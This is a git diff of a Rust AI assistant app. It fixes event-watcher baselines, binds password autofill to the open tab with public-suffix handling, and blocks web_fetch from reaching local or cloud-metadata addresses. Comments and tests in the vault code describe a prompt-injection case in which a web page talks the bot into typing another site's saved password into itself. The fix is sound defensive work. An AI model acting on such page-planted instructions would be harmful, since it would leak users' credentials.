// An empty prev is always the baseline: a poll that follows a failed first round must // Only the first look that reached the service is the baseline (the caller keeps `first`
// record, not fire every existing item as "created" (history replay). // until then). An empty prev is not one: a watch set up while nothing was open swallowed
let baseline = first || prev.is_empty(); // the first issue, incident or mail that came.
for (id, status, title) in items { for (id, status, title) in items {
match prev.get(id) { match prev.get(id) {
None if !baseline => out.push(("created".to_string(), title.clone())), None if !first => out.push(("created".to_string(), title.clone())),
Some(old) if old != status => out.push((status.clone(), format!("{title}({old} → {status})"))), Some(old) if old != status => out.push((status.clone(), format!("{title}({old} → {status})"))),
_ => {} _ => {}
} }
prev.insert(id.clone(), status.clone()); prev.insert(id.clone(), status.clone());
} }
// A watcher that runs for months stays bounded: past the cap, what is on this list is kept
// and the rest is let go.
if prev.len() > MAX_REMEMBERED {
let here: HashSet<&String> = items.iter().map(|(id, _, _)| id).collect();
prev.retain(|id, _| here.contains(id));
}
out out
} }
/// Ids a watcher remembers before it lets the old ones go (estimated).
const MAX_REMEMBERED: usize = 4096;
/// Calendar events that start now (within the last poll) and haven't fired: (key, description). /// Calendar events that start now (within the last poll) and haven't fired: (key, description).
pub fn calendar_due(events: &Value, now: i64, minutes_before: i64, window_secs: i64, title: &str, fired: &mut HashSet<String>) -> Vec<String> { pub fn calendar_due(events: &Value, now: i64, minutes_before: i64, window_secs: i64, title: &str, fired: &mut HashSet<String>) -> Vec<String> {
let mut out = vec![]; let mut out = vec![];
@ -496,6 +505,7 @@ fn fire_router() -> fn(u64, String) {
fn watch_loop(routine_id: u64, t: Trigger, gen: u64, slack_token: String, fire: impl Fn(String)) { fn watch_loop(routine_id: u64, t: Trigger, gen: u64, slack_token: String, fire: impl Fn(String)) {
let mut first = true; let mut first = true;
let mut runs_first = true;
let mut cursor: u64 = 0; let mut cursor: u64 = 0;
let mut seen: HashSet<u64> = HashSet::new(); let mut seen: HashSet<u64> = HashSet::new();
let mut prev: HashMap<String, String> = HashMap::new(); let mut prev: HashMap<String, String> = HashMap::new();
@ -528,9 +538,12 @@ fn watch_loop(routine_id: u64, t: Trigger, gen: u64, slack_token: String, fire:
} }
if wanted(events, "ci_passed") || wanted(events, "ci_failed") { if wanted(events, "ci_passed") || wanted(events, "ci_failed") {
if let Ok(v) = get(&format!("https://api.github.com/repos/{repo}/actions/runs?per_page=20"), &h) { if let Ok(v) = get(&format!("https://api.github.com/repos/{repo}/actions/runs?per_page=20"), &h) {
for e in github_runs(&v, &mut seen, first).into_iter().filter(ok_ev) { for e in github_runs(&v, &mut seen, runs_first).into_iter().filter(ok_ev) {
fire(format!("GitHub {repo}:{}", e.text)); fire(format!("GitHub {repo}:{}", e.text));
} }
// (Its own first look: the events answering while this failed used to
// make the next list of runs fire whole.)
runs_first = false;
} }
} }
GITHUB_POLL_SECS GITHUB_POLL_SECS
@ -568,7 +581,9 @@ fn watch_loop(routine_id: u64, t: Trigger, gen: u64, slack_token: String, fire:
} }
note(routine_id, "已連上 Slack,等待訊息"); note(routine_id, "已連上 Slack,等待訊息");
} }
Ok(v) => note(routine_id, &format!("Slack 說:{}", v["error"].as_str().unwrap_or("不明錯誤"))), // (Not reached: a refusal that counted as the first look made the next
// answer's thirty messages all new.)
Ok(v) => { reached = false; note(routine_id, &format!("Slack 說:{}", v["error"].as_str().unwrap_or("不明錯誤"))) },
Err(e) => { reached = false; note(routine_id, &format!("Slack:{e}")) }, Err(e) => { reached = false; note(routine_id, &format!("Slack:{e}")) },
} }
SLACK_POLL_SECS SLACK_POLL_SECS
@ -702,16 +717,13 @@ fn watch_loop(routine_id: u64, t: Trigger, gen: u64, slack_token: String, fire:
// These sets grow with every event seen: a watcher that runs for months must stay // These sets grow with every event seen: a watcher that runs for months must stay
// bounded (ids grow, so keep the newest range; the react/calendar sets are only // bounded (ids grow, so keep the newest range; the react/calendar sets are only
// short-term de-duplication, so a cap that clears is harmless). // short-term de-duplication, so a cap that clears is harmless).
if seen.len() > 4096 { if seen.len() > MAX_REMEMBERED {
let m = *seen.iter().max().unwrap_or(&0); let m = *seen.iter().max().unwrap_or(&0);
seen.retain(|id| *id + 100_000 >= m); seen.retain(|id| *id + 100_000 >= m);
} }
if prev.len() > 4096 { // (prev is kept bounded by status_changes: clearing it here would make everything on
// status_changes treats an empty set as a quiet baseline (records, fires nothing), // the next list look new.)
// so clearing is safe and keeps the map from growing with every issue ever seen. if slack_reacted.len() > MAX_REMEMBERED {
prev.clear();
}
if slack_reacted.len() > 4096 {
slack_reacted.clear(); slack_reacted.clear();
} }
if !sleep_alive(gen, wait) { if !sleep_alive(gen, wait) {
@ -828,6 +840,20 @@ mod tests {
assert!(status_changes(&mut prev, &[("a".into(), "triggered".into(), "A".into())], true).is_empty()); assert!(status_changes(&mut prev, &[("a".into(), "triggered".into(), "A".into())], true).is_empty());
let c = status_changes(&mut prev, &[("a".into(), "resolved".into(), "A".into()), ("b".into(), "triggered".into(), "B".into())], false); let c = status_changes(&mut prev, &[("a".into(), "resolved".into(), "A".into()), ("b".into(), "triggered".into(), "B".into())], false);
assert_eq!(c, vec![("resolved".to_string(), "A(triggered → resolved)".to_string()), ("created".to_string(), "B".to_string())]); assert_eq!(c, vec![("resolved".to_string(), "A(triggered → resolved)".to_string()), ("created".to_string(), "B".to_string())]);
// A watch set up while nothing was open: the first thing that comes fires.
let mut prev = HashMap::new();
assert!(status_changes(&mut prev, &[], true).is_empty());
assert_eq!(status_changes(&mut prev, &[("a".into(), "triggered".into(), "A".into())], false), vec![("created".to_string(), "A".to_string())]);
// Until a look has reached the service, what is there is recorded, not fired.
let mut prev = HashMap::new();
assert!(status_changes(&mut prev, &[("a".into(), "open".into(), "A".into())], true).is_empty());
assert!(status_changes(&mut prev, &[("a".into(), "open".into(), "A".into())], false).is_empty());
// Past the cap the map keeps what is on the list, and nothing on it fires again.
let mut prev: HashMap<String, String> = (0..MAX_REMEMBERED + 1).map(|i| (format!("old{i}"), "x".to_string())).collect();
prev.insert("a".into(), "open".into());
assert!(status_changes(&mut prev, &[("a".into(), "open".into(), "A".into())], false).is_empty());
assert_eq!(prev.len(), 1);
assert!(status_changes(&mut prev, &[("a".into(), "open".into(), "A".into())], false).is_empty());
} }
#[test] #[test]

View File

@ -345,14 +345,40 @@ impl LoginPlan {
} }
pub fn plan_login(args: &str) -> Result<LoginPlan, String> { pub fn plan_login(args: &str) -> Result<LoginPlan, String> {
let v = crate::tools::args_of(args); plan_login_on(&current_host()?, &crate::tools::args_of(args))
let tab = current_host()?; }
let host = v["site"].as_str().filter(|s| !s.trim().is_empty()).map(host_of).filter(|h| !h.is_empty()).unwrap_or(tab);
/// The plan for the page that is open (`tab`, its host).
///
/// The password goes into the open tab, so the open tab is the site: what the person is asked
/// about, what 「一律允許」 is remembered for, and what the saved login is checked against.
/// `site` only picks which saved login to use. It used to stand in for all three — a page could
/// talk the bot into `site: "google.com"` and, where the person had always-allowed google.com,
/// have Google's password typed into itself without a question.
pub(crate) fn plan_login_on(tab: &str, v: &Value) -> Result<LoginPlan, String> {
if tab.is_empty() {
return Err("目前的分頁沒有開著網站。先打開要登入的那一頁,再填入。".into());
}
let host = tab.to_string();
if let Some(id) = v["login_id"].as_str().filter(|s| !s.is_empty()) { if let Some(id) = v["login_id"].as_str().filter(|s| !s.is_empty()) {
let item = crate::vault_store::get(id).filter(|i| i.kind == crate::vault_store::Kind::Login).ok_or("保險庫裡沒有這筆登入資訊(先用 vault_list 看 id)")?; let item = crate::vault_store::get(id).filter(|i| i.kind == crate::vault_store::Kind::Login).ok_or("保險庫裡沒有這筆登入資訊(先用 vault_list 看 id)")?;
let matched = item.fills_on(&host); let matched = item.fills_on(&host);
return Ok(LoginPlan { host, item: Some(item), matched, other: None }); return Ok(LoginPlan { host, item: Some(item), matched, other: None });
} }
let site = v["site"].as_str().filter(|s| !s.trim().is_empty()).map(host_of).filter(|h| !h.is_empty());
let same_site = |s: &str| crate::vault_store::registrable_domain(s) == crate::vault_store::registrable_domain(tab);
if let Some(site) = site.filter(|s| !same_site(s)) {
// A login saved for another site: the person sees the lookalike warning (matched is
// false when it isn't saved for this page), and no grant is kept.
return match crate::vault_store::logins_for(&site).into_iter().next() {
Some(item) => {
let matched = item.fills_on(&host);
Ok(LoginPlan { host, item: Some(item), matched, other: None })
}
// Keychain and 1Password logins carry no list of sites to warn with: only on their own site.
None => Err(format!("目前的分頁是 {host},不是 {site}。先打開 {site} 的登入頁,再填入(密碼只會填進它所屬的網站)。")),
};
}
if let Some(item) = crate::vault_store::logins_for(&host).into_iter().next() { if let Some(item) = crate::vault_store::logins_for(&host).into_iter().next() {
return Ok(LoginPlan { host, item: Some(item), matched: true, other: None }); return Ok(LoginPlan { host, item: Some(item), matched: true, other: None });
} }

View File

@ -163,7 +163,9 @@ impl Item {
let h = h.strip_prefix("www.").unwrap_or(&h); let h = h.strip_prefix("www.").unwrap_or(&h);
self.sites.iter().any(|s| { self.sites.iter().any(|s| {
let d = registrable_domain(&host_of(s)); let d = registrable_domain(&host_of(s));
!d.is_empty() && (h == d || h.ends_with(&format!(".{d}"))) // (A site that is itself a suffix many owners share — 「gov.tw」, 「github.io」 —
// is that one address, never everything under it.)
!d.is_empty() && (h == d || (!is_public_suffix(&d) && h.ends_with(&format!(".{d}"))))
}) })
} }
} }
@ -197,25 +199,58 @@ pub fn host_of(s: &str) -> String {
h.strip_prefix("www.").map(String::from).unwrap_or(h) h.strip_prefix("www.").map(String::from).unwrap_or(h)
} }
/// Second-level suffixes where the registrable domain has three labels. /// Suffixes of more than one label under which different owners have their own names: the
const TWO_PART_SUFFIXES: &[&str] = &[ /// registrable domain is one label more. Countries' second levels, and the hosting services
"com.tw", "org.tw", "net.tw", "edu.tw", "gov.tw", "idv.tw", "co.uk", "org.uk", "ac.uk", "gov.uk", "co.jp", "ne.jp", "or.jp", "ac.jp", "go.jp", "com.cn", "net.cn", "org.cn", "com.hk", "org.hk", /// where anyone gets a name next to anyone else's (a login saved for 「mine.pages.dev」 must not
"com.sg", "com.au", "net.au", "org.au", "co.nz", "co.kr", "or.kr", "com.br", "com.mx", "co.in", "co.za", "com.my", "com.ph", "co.id", "co.th", "com.vn", "github.io", "vercel.app", "netlify.app", /// be offered on 「someone-else.pages.dev」).
const SHARED_SUFFIXES: &[&str] = &[
"com.tw", "org.tw", "net.tw", "edu.tw", "gov.tw", "idv.tw", "game.tw", "club.tw", "ebiz.tw", "co.uk", "org.uk", "ac.uk", "gov.uk", "me.uk", "ltd.uk", "plc.uk", "sch.uk", "nhs.uk", "police.uk",
"co.jp", "ne.jp", "or.jp", "ac.jp", "go.jp", "com.cn", "net.cn", "org.cn", "com.hk", "org.hk",
"com.sg", "com.au", "net.au", "org.au", "co.nz", "co.kr", "or.kr", "com.br", "com.mx", "co.in", "co.za", "com.my", "com.ph", "co.id", "co.th", "com.vn",
"github.io", "gitlab.io", "vercel.app", "netlify.app", "pages.dev", "workers.dev", "web.app", "firebaseapp.com", "appspot.com", "herokuapp.com", "azurewebsites.net", "blogspot.com",
"cloudfront.net", "onrender.com", "fly.dev", "glitch.me", "surge.sh", "ngrok.io", "ngrok-free.app", "ngrok.app", "trycloudflare.com", "amazonaws.com", "s3.amazonaws.com", "elasticbeanstalk.com",
"web.core.windows.net", "blob.core.windows.net", "r2.dev", "deno.dev", "replit.app", "repl.co", "wixsite.com", "weebly.com", "myshopify.com", "ts.net",
]; ];
/// What registries put right under a country's two letters (「bank.com.tr」, 「x.gov.hk」,
/// 「y.co.il」): with one of these there, the name is the label before it.
const COUNTRY_SECOND_LEVELS: &[&str] = &["com", "co", "net", "org", "edu", "gov", "ac", "or", "ne", "go", "mil", "idv", "nom", "gob", "gouv"];
/// How many labels at the end of a host are a suffix shared by different owners (1: a plain
/// top-level domain).
fn suffix_labels(parts: &[&str]) -> usize {
let listed = SHARED_SUFFIXES.iter().map(|s| s.split('.').count()).filter(|n| parts.len() >= *n).filter(|n| SHARED_SUFFIXES.contains(&parts[parts.len() - n..].join(".").as_str())).max();
if let Some(n) = listed {
return n;
}
match parts {
[.., second, top] if top.len() == 2 && top.chars().all(|c| c.is_ascii_alphabetic()) && COUNTRY_SECOND_LEVELS.contains(second) => 2,
_ => 1,
}
}
fn labels(host: &str) -> Option<Vec<String>> {
let h = host.trim().trim_end_matches('.').to_lowercase();
if h.parse::<std::net::IpAddr>().is_ok() {
return None;
}
Some(h.split('.').filter(|p| !p.is_empty()).map(String::from).collect())
}
/// The host is nobody's own name: a suffix different owners share (「com.tw」, 「github.io」).
pub fn is_public_suffix(host: &str) -> bool {
labels(host).is_some_and(|l| {
let parts: Vec<&str> = l.iter().map(String::as_str).collect();
parts.len() >= 2 && parts.len() <= suffix_labels(&parts)
})
}
/// "login.shop.example.co.uk" → "example.co.uk"; IP addresses and single labels stay as they are. /// "login.shop.example.co.uk" → "example.co.uk"; IP addresses and single labels stay as they are.
pub fn registrable_domain(host: &str) -> String { pub fn registrable_domain(host: &str) -> String {
let h = host.trim().trim_end_matches('.').to_lowercase(); let Some(l) = labels(host) else { return host.trim().trim_end_matches('.').to_lowercase() };
if h.parse::<std::net::IpAddr>().is_ok() { let parts: Vec<&str> = l.iter().map(String::as_str).collect();
return h; let n = (suffix_labels(&parts) + 1).min(parts.len());
} parts[parts.len() - n..].join(".")
let parts: Vec<&str> = h.split('.').filter(|p| !p.is_empty()).collect();
if parts.len() <= 2 {
return parts.join(".");
}
let last2 = parts[parts.len() - 2..].join(".");
let n = if TWO_PART_SUFFIXES.contains(&last2.as_str()) { 3 } else { 2 };
parts[parts.len() - n.min(parts.len())..].join(".")
} }
pub fn digits(s: &str) -> String { pub fn digits(s: &str) -> String {
@ -960,6 +995,23 @@ mod tests {
assert_eq!(registrable_domain("www.ctbcbank.com.tw"), "ctbcbank.com.tw"); assert_eq!(registrable_domain("www.ctbcbank.com.tw"), "ctbcbank.com.tw");
assert_eq!(registrable_domain("accounts.google.com"), "google.com"); assert_eq!(registrable_domain("accounts.google.com"), "google.com");
assert_eq!(registrable_domain("127.0.0.1"), "127.0.0.1"); assert_eq!(registrable_domain("127.0.0.1"), "127.0.0.1");
assert_eq!((registrable_domain("google.com").as_str(), registrable_domain("t.co").as_str(), registrable_domain("localhost").as_str()), ("google.com", "t.co", "localhost"));
// Suffixes many owners share: the name is the label before the suffix, also where
// the suffix isn't on the list (a country's second level) or is longer than two labels.
assert_eq!(registrable_domain("www.bank.com.tr"), "bank.com.tr");
assert_eq!(registrable_domain("a.b.gov.hk"), "b.gov.hk");
assert_eq!(registrable_domain("mine.pages.dev"), "mine.pages.dev");
assert_eq!(registrable_domain("x.bucket.s3.amazonaws.com"), "bucket.s3.amazonaws.com");
assert_eq!(registrable_domain("go.com"), "go.com");
assert!(is_public_suffix("com.tw") && is_public_suffix("github.io") && is_public_suffix("com.tr") && !is_public_suffix("example.com.tw") && !is_public_suffix("com") && !is_public_suffix("10.0.0.1"));
// A login is for its own name there, never for a neighbour's.
let mine = Item { kind: Kind::Login, sites: vec!["https://mine.pages.dev/login".into()], ..Default::default() };
assert!(mine.fills_on("mine.pages.dev") && mine.fills_on("app.mine.pages.dev") && !mine.fills_on("evil.pages.dev") && !mine.fills_on("pages.dev"));
let bank = Item { kind: Kind::Login, sites: vec!["bank.com.tr".into()], ..Default::default() };
assert!(bank.fills_on("online.bank.com.tr") && !bank.fills_on("evil.com.tr"));
// A login saved on a suffix itself (「www.gov.tw」 is a real site) is for that address only.
let gov = Item { kind: Kind::Login, sites: vec!["https://www.gov.tw/".into()], ..Default::default() };
assert!(gov.fills_on("www.gov.tw") && gov.fills_on("gov.tw") && !gov.fills_on("evil.gov.tw"));
assert_eq!(host_of("https://WWW.Example.com:8443/x?y"), "example.com"); assert_eq!(host_of("https://WWW.Example.com:8443/x?y"), "example.com");
let it = Item { kind: Kind::Login, sites: vec!["https://example.com/login".into()], ..Default::default() }; let it = Item { kind: Kind::Login, sites: vec!["https://example.com/login".into()], ..Default::default() };
assert!(it.fills_on("app.example.com") && it.fills_on("example.com") && !it.fills_on("example.com.evil.io") && !it.fills_on("notexample.com")); assert!(it.fills_on("app.example.com") && it.fills_on("example.com") && !it.fills_on("example.com.evil.io") && !it.fills_on("notexample.com"));
@ -1009,6 +1061,22 @@ mod tests {
assert_eq!((c.brand.as_str(), c.last4.as_str(), c.exp_month, c.exp_year), ("Visa", "1111", 12, 2039)); assert_eq!((c.brand.as_str(), c.last4.as_str(), c.exp_month, c.exp_year), ("Visa", "1111", 12, 2039));
assert_eq!(login_secret(&id).unwrap().1, "pa\"ss 你好"); assert_eq!(login_secret(&id).unwrap().1, "pa\"ss 你好");
assert_eq!(logins_for("gist.github.com").len(), 1); assert_eq!(logins_for("gist.github.com").len(), 1);
// The open tab is the site, whatever `site` says: a page that talks the bot into naming
// github.com gets the lookalike warning (not matched → no grant to reuse), about itself.
let on = |tab: &str, args: serde_json::Value| crate::vault::plan_login_on(tab, &args);
let lure = on("evil.example", serde_json::json!({"site": "github.com"})).unwrap();
assert_eq!((lure.host.as_str(), lure.matched), ("evil.example", false));
assert!(lure.question().contains("evil.example") && lure.question().contains("仿冒"), "{}", lure.question());
let by_id = on("evil.example", serde_json::json!({"login_id": id, "site": "github.com"})).unwrap();
assert_eq!((by_id.host.as_str(), by_id.matched), ("evil.example", false));
// On its own site (naming it or not), it is the saved login, with no warning.
for args in [serde_json::json!({}), serde_json::json!({"site": "https://www.github.com/login"})] {
let own = on("gist.github.com", args).unwrap();
assert_eq!((own.host.as_str(), own.matched), ("gist.github.com", true));
}
// Nothing saved for the named site, or no page open: refused before any lookup.
assert!(on("evil.example", serde_json::json!({"site": "nothing-saved.example"})).is_err());
assert!(on("", serde_json::json!({"site": "github.com"})).is_err());
// Editing with an empty password keeps it. // Editing with an empty password keeps it.
put_login(LoginInput { id: Some(id.clone()), sites: vec!["github.com".into(), "githubusercontent.com".into()], username: "me2".into(), password: String::new(), notes: String::new() }).unwrap(); put_login(LoginInput { id: Some(id.clone()), sites: vec!["github.com".into(), "githubusercontent.com".into()], username: "me2".into(), password: String::new(), notes: String::new() }).unwrap();
assert_eq!(login_secret(&id).unwrap(), ("me2".to_string(), "pa\"ss 你好".to_string())); assert_eq!(login_secret(&id).unwrap(), ("me2".to_string(), "pa\"ss 你好".to_string()));

View File

@ -12,6 +12,15 @@ pub const MAX_SECS: u64 = 600;
/// 會議記錄 can run longer: two hours stays under the transcription service's 25 MB limit at this /// 會議記錄 can run longer: two hours stays under the transcription service's 25 MB limit at this
/// recorder's bitrate (estimated). /// recorder's bitrate (estimated).
pub const MEETING_MAX_SECS: u64 = 7_200; pub const MEETING_MAX_SECS: u64 = 7_200;
/// A recording limit in words (「10 分鐘」, 「2 小時」).
pub fn length_words(secs: u64) -> String {
if secs >= 3600 && secs.is_multiple_of(3600) {
format!("{} 小時", secs / 3600)
} else {
format!("{} 分鐘", secs / 60)
}
}
/// Transcription models tried in order. /// Transcription models tried in order.
pub const MODELS: [&str; 2] = ["gpt-4o-mini-transcribe", "whisper-1"]; pub const MODELS: [&str; 2] = ["gpt-4o-mini-transcribe", "whisper-1"];

View File

@ -183,17 +183,133 @@ pub fn normalize_url(u: &str) -> Result<String, String> {
// ---------- web_fetch ---------- // ---------- web_fetch ----------
fn fetch(url: &str) -> Result<String, String> { /// An address web_fetch may reach: out on the internet. Not this computer, not the network it
let url = normalize_url(url)?; /// sits on (the router, the NAS, another service's port), not a cloud machine's metadata.
let agent: ureq::Agent = ureq::Agent::config_builder() fn public_addr(ip: std::net::IpAddr) -> bool {
match ip {
std::net::IpAddr::V4(a) => {
let o = a.octets();
// (100.64/10: carrier NAT and Tailscale; 192.0.0/24 and 240/4: reserved.)
!(a.is_loopback() || a.is_private() || a.is_link_local() || a.is_unspecified() || a.is_broadcast() || a.is_multicast() || o[0] == 0 || (o[0] == 100 && o[1] & 0xc0 == 64) || (o[0] == 192 && o[1] == 0 && o[2] == 0) || o[0] >= 240)
}
std::net::IpAddr::V6(a) => match a.to_ipv4_mapped() {
Some(v4) => public_addr(std::net::IpAddr::V4(v4)),
// (fc00::/7 is the private range, fe80::/10 link-local; 64:ff9b::/96 carries an IPv4 address.)
None => !(a.is_loopback() || a.is_unspecified() || a.is_multicast() || a.segments()[0] & 0xfe00 == 0xfc00 || a.segments()[0] & 0xffc0 == 0xfe80 || (a.segments()[0] == 0x64 && a.segments()[1] == 0xff9b)),
},
}
}
/// The host and port of a web address (the brackets off an IPv6 one).
fn host_port(url: &str) -> Option<(String, u16)> {
let (scheme, rest) = url.split_once("://")?;
let auth = rest.split(['/', '?', '#']).next()?.rsplit('@').next()?;
let default = if scheme.eq_ignore_ascii_case("https") { 443 } else { 80 };
let (host, port) = match auth.strip_prefix('[') {
Some(v6) => {
let (h, after) = v6.split_once(']')?;
(h, after.strip_prefix(':').map(str::parse).transpose().ok()?.unwrap_or(default))
}
None => match auth.rsplit_once(':') {
Some((h, p)) => (h, if p.is_empty() { default } else { p.parse().ok()? }),
None => (auth, default),
},
};
(!host.is_empty()).then(|| (host.to_string(), port))
}
/// web_fetch runs with nothing asked, so it reads the public web only: a page (or a redirect)
/// that names this computer or the network around it is refused. It used to reach them all.
fn public_only(url: &str) -> Result<(), String> {
use std::net::ToSocketAddrs;
let (host, port) = host_port(url).ok_or_else(|| format!("「{url}」看起來不是網址"))?;
let h = host.trim_end_matches('.').to_lowercase();
let addrs: Vec<std::net::IpAddr> = match h.parse::<std::net::IpAddr>() {
Ok(ip) => vec![ip],
// (A name that can't be looked up here is left to the request, which fails the same
// way, or to the person's proxy, which looks it up itself.)
Err(_) => (h.as_str(), port).to_socket_addrs().map(|a| a.map(|s| s.ip()).collect()).unwrap_or_default(),
};
if h == "localhost" || h.ends_with(".localhost") || addrs.iter().any(|a| !public_addr(*a)) {
return Err(format!("web_fetch 只讀公開的網頁,「{host}」是這台電腦或內部網路的位址。要看本機或區網上的服務,用 shell(例如 curl)或 browser_open。"));
}
Ok(())
}
/// Looks names up like the default resolver, and hands back only public addresses: the check
/// that holds at the moment of connecting (a name can answer differently the second time).
#[derive(Debug)]
struct PublicResolver(ureq::unversioned::resolver::DefaultResolver);
impl ureq::unversioned::resolver::Resolver for PublicResolver {
fn resolve(&self, uri: &ureq::http::Uri, config: &ureq::config::Config, timeout: ureq::unversioned::transport::NextTimeout) -> Result<ureq::unversioned::resolver::ResolvedSocketAddrs, ureq::Error> {
let addrs = self.0.resolve(uri, config, timeout)?;
// The proxy the person set up is theirs to reach, wherever it is.
let proxy = config.proxy().is_some_and(|p| p.uri() == uri);
if !proxy && addrs.iter().any(|a| !public_addr(a.ip())) {
return Err(ureq::Error::Io(std::io::Error::new(std::io::ErrorKind::PermissionDenied, "內部網路的位址")));
}
Ok(addrs)
}
}
/// Where a redirect leads, from the page it came from.
fn follow(base: &str, location: &str) -> String {
let location = location.trim();
let scheme = base.split_once("://").map(|(s, _)| s).unwrap_or("https");
let origin_end = base.find("://").map(|i| i + 3).and_then(|i| base[i..].find(['/', '?', '#']).map(|j| i + j)).unwrap_or(base.len());
if location.starts_with("http://") || location.starts_with("https://") {
location.to_string()
} else if location.starts_with("//") {
format!("{scheme}:{location}")
} else if location.starts_with('/') {
format!("{}{location}", &base[..origin_end])
} else {
let path = base[origin_end..].split(['?', '#']).next().unwrap_or("");
let dir = path.rfind('/').map(|i| &path[..=i]).unwrap_or("/");
format!("{}{dir}{location}", &base[..origin_end])
}
}
/// Redirects web_fetch follows before it gives up (ureq's own default).
const MAX_REDIRECTS: usize = 10;
/// A page off the public web, as text in its own encoding: where it ended up after redirects,
/// the status, and the text. Every stop on the way is checked (`public_only`), so nothing on
/// this computer or its network is read. (skill_install fetches through here too: it took any
/// address, the router's and a cloud machine's metadata included.)
pub fn get_public(url: &str, limit: u64) -> Result<(String, u16, String), String> {
let mut url = normalize_url(url)?;
// Redirects are followed here, one at a time, so each stop is checked like the first.
let config = ureq::Agent::config_builder()
.http_status_as_error(false) .http_status_as_error(false)
.max_redirects(0)
.timeout_global(Some(Duration::from_secs(20))) .timeout_global(Some(Duration::from_secs(20)))
.user_agent("Mozilla/5.0 (Macintosh; Intel Mac OS X 14_0) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.0 Safari/605.1.15") .user_agent("Mozilla/5.0 (Macintosh; Intel Mac OS X 14_0) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.0 Safari/605.1.15")
.build() .build();
.into(); let agent = ureq::Agent::with_parts(config, ureq::unversioned::transport::DefaultConnector::new(), PublicResolver(Default::default()));
let resp = agent.get(&url).call().map_err(|e| format!("連不上 {url}:{e}"))?; let mut hops = 0;
let resp = loop {
public_only(&url)?;
let resp = agent.get(&url).call().map_err(|e| format!("連不上 {url}:{e}"))?;
let next = resp.headers().get("location").and_then(|l| l.to_str().ok()).filter(|_| matches!(resp.status().as_u16(), 301 | 302 | 303 | 307 | 308)).map(|l| follow(&url, l));
match next {
Some(_) if hops >= MAX_REDIRECTS => return Err(format!("{url} 一直轉址,讀不到內容。")),
Some(to) => {
hops += 1;
url = to;
}
None => break resp,
}
};
let status = resp.status().as_u16(); let status = resp.status().as_u16();
let body = resp.into_body().with_config().limit(MAX_FETCH_BYTES).read_to_string().map_err(|e| format!("讀取失敗:{e}"))?; let said = resp.headers().get("content-type").and_then(|c| c.to_str().ok()).unwrap_or("").to_string();
let body = page_text(&resp.into_body().with_config().limit(limit).read_to_vec().map_err(|e| format!("讀取失敗:{e}"))?, &said);
Ok((url, status, body))
}
fn fetch(url: &str) -> Result<String, String> {
let (url, status, body) = get_public(url, MAX_FETCH_BYTES)?;
if status >= 400 { if status >= 400 {
return Err(format!("網站回應 {status}。如果這個頁面要登入,請改用 browser_open。")); return Err(format!("網站回應 {status}。如果這個頁面要登入,請改用 browser_open。"));
} }
@ -207,6 +323,25 @@ fn fetch(url: &str) -> Result<String, String> {
Ok(out) Ok(out)
} }
/// The name after `charset=` (a Content-Type header, or the start of a page with its
/// `<meta charset="big5">` / `<meta http-equiv … content="text/html; charset=big5">`).
fn charset_named(s: &str) -> Option<String> {
let l = s.to_ascii_lowercase();
let at = l.find("charset=")? + "charset=".len();
let name: String = l[at..].trim_start_matches(['"', '\'', ' ']).chars().take_while(|c| c.is_ascii_alphanumeric() || matches!(c, '-' | '_')).collect();
(!name.is_empty()).then_some(name)
}
/// A page's bytes as text, in the encoding the answer's header names, else the one the page
/// itself names, else UTF-8 (bytes that are no text in it become <20>). Pages in Big5, GBK or
/// Shift_JIS — many older Taiwanese sites — were refused whole as 「讀取失敗」: they were read
/// as UTF-8 or not at all.
fn page_text(bytes: &[u8], content_type: &str) -> String {
let named = charset_named(content_type).or_else(|| charset_named(&String::from_utf8_lossy(&bytes[..bytes.len().min(4096)])));
let encoding = named.and_then(|n| encoding_rs::Encoding::for_label(n.as_bytes())).unwrap_or(encoding_rs::UTF_8);
encoding.decode(bytes).0.into_owned()
}
fn between<'a>(s: &'a str, a: &str, b: &str) -> Option<&'a str> { fn between<'a>(s: &'a str, a: &str, b: &str) -> Option<&'a str> {
let lower = s.to_ascii_lowercase(); let lower = s.to_ascii_lowercase();
let i = lower.find(a)?; let i = lower.find(a)?;
@ -308,24 +443,50 @@ fn osascript(script: &str, cancel: &AtomicBool) -> Result<String, String> {
if !cfg!(target_os = "macos") { if !cfg!(target_os = "macos") {
return Err("在 Linux 上讀不到你自己瀏覽器裡的分頁。請改用 AnyBot 的瀏覽器(profile 用「預設」或其他設定檔)打開那個網址再讀;要登入的網站,請先在 AnyBot 的瀏覽器登入一次。".into()); return Err("在 Linux 上讀不到你自己瀏覽器裡的分頁。請改用 AnyBot 的瀏覽器(profile 用「預設」或其他設定檔)打開那個網址再讀;要登入的網站,請先在 AnyBot 的瀏覽器登入一次。".into());
} }
let mut child = Command::new("osascript").arg("-e").arg(script).stdin(Stdio::null()).stdout(Stdio::piped()).stderr(Stdio::piped()).spawn().map_err(|e| e.to_string())?; let child = Command::new("osascript").arg("-e").arg(script).stdin(Stdio::null()).stdout(Stdio::piped()).stderr(Stdio::piped()).spawn().map_err(|e| e.to_string())?;
match wait_piped(child, cancel, Duration::from_secs(SCRIPT_TIMEOUT_SECS)) {
Waited::Done(true, so, _) => Ok(so.trim_end().to_string()),
Waited::Done(false, _, se) => Err(se.trim().to_string()),
Waited::Stopped => Err("已停止".into()),
Waited::TooLong => Err("等瀏覽器回應太久了(macOS 可能在問你要不要允許,請看看螢幕)".into()),
}
}
/// How waiting for a command ended: it finished (went well?, what it printed, what it
/// complained of), the turn was stopped, or it took too long (then it is killed).
enum Waited {
Done(bool, String, String),
Stopped,
TooLong,
}
/// Wait for a command whose output comes through pipes, reading the pipes while waiting. A
/// pipe holds 64 KB: a command that prints more (a long page's text) stood still at that
/// point, was waited on until the time ran out, and the page was called unreachable.
fn wait_piped(mut child: std::process::Child, cancel: &AtomicBool, limit: Duration) -> Waited {
fn read_all(pipe: Option<impl std::io::Read + Send + 'static>) -> std::thread::JoinHandle<Vec<u8>> {
std::thread::spawn(move || {
let mut all = vec![];
if let Some(mut p) = pipe {
let _ = std::io::Read::read_to_end(&mut p, &mut all);
}
all
})
}
let (out, err) = (read_all(child.stdout.take()), read_all(child.stderr.take()));
let start = Instant::now(); let start = Instant::now();
loop { loop {
if let Ok(Some(_)) = child.try_wait() { if let Ok(Some(st)) = child.try_wait() {
let out = child.wait_with_output().map_err(|e| e.to_string())?; let text = |h: std::thread::JoinHandle<Vec<u8>>| String::from_utf8_lossy(&h.join().unwrap_or_default()).into_owned();
let so = String::from_utf8_lossy(&out.stdout).trim_end().to_string(); return Waited::Done(st.success(), text(out), text(err));
let se = String::from_utf8_lossy(&out.stderr).trim().to_string();
return if out.status.success() { Ok(so) } else { Err(se) };
} }
